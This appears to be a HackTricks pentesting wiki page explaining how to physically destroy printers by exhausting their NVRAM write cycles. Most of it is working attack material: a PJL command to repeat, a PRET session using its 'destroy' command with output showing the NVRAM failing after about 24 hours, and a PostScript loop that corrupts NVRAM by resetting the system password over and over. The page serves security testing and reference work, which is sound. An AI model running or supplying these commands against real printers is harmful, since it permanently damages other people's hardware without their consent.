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Long-term settings for printers and other embedded devices are stored in non-volatile memory ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory)) which is traditionally implemented either as [EEPROM](https://en.wikipedia.org/wiki/EEPROM) or as [flash memory](https://en.wikipedia.org/wiki/Flash\_memory). Both components have a limited lifetime. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur.
## PJL
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for `X`:
```
@PJL DEFAULT COPIES=X
```
Usually, before stop allowing writing anymore NVRAM parameters are fixed to the factory default value and all variables could still be changed for the current print job using the `@PJL SET...` command.
Using [PRET](https://github.com/RUB-NDS/PRET):
```
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> destroy
Warning: This command tries to cause physical damage to the
printer NVRAM. Use at your own risk. Press CTRL+C to abort.
Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?
[... wait for about 24 hours ...]
I'm afraid. I'm afraid, Dave. Dave, my mind is going...
NVRAM died after 543894 cycles, 18:46:11
```
## PostScript
For PostScript, one needs to find an entry in the currentsystemparams dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate would be a PostScript password.\
PostScript can run a script that corrupts its own NVRAM:
```
/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop
```
**More information about these techniques can be found in** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage)
HackTricks in 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
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